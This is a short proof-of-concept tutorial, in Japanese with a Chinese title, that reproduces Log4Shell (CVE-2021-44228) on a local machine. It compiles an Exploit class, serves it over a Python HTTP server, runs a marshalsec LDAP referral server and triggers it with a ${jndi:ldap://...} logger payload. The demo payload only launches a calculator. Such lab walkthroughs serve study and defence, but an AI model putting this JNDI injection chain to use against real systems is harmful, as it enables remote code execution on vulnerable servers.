
Log4Shell(CVE-2021-44228)的概念验证,演示了通过LDAP和HTTP服务器实现基于JNDI的远程代码执行。
Exploit.javaファイルを別のフォルダに移動します。私の場合は、ホームディレクトリ内にrceというフォルダを作成しました。/home/coldfusionx/rce
Exploit.javaを確認します。
ここでリモートコードを任意のものに変更できます。この場合、Ubuntuマシン上でgnome-calculatorがポップアップ表示されます。
javac Exploit.javaを使用してExploit.javaをコンパイルします。正常にコンパイルされると、新しいファイルExploit.classが作成されるはずです。
python3 -m http.server 8888を使用して、Exploit.classをホストするPython HTTPサーバーを起動します。あるいは、コマンドphp -S 127.0.0.1:8888を使用してPHPサーバーを使用することもできます。

Add Configurationをクリックします。
1. `Application`を選択します

2. メインクラスを選択します

3. JDKを選択して適用します。

4. 実行準備ができたLog4j Applicationが作成されているはずです。

marshasecにcdしますjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"を実行してLDAPサーバーを起動します。ここで、127.0.0.1:8888はExploit.classをホストしているPythonサーバーであるため、/#Exploitを指定します。
ステップ9 : 要件に応じてlog4j.javaのJNDIペイロードを編集します。logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
この場合、リモートクラスExploitを読み込んでいます。LDAPリファラーサーバーは、悪意のあるExploitクラスをホストしているPythonサーバーにリクエストをリダイレクトします。
ステップ10 : Log4jを実行します。正常に実行されると、gnome calculatorがポップアップ表示されるはずです。
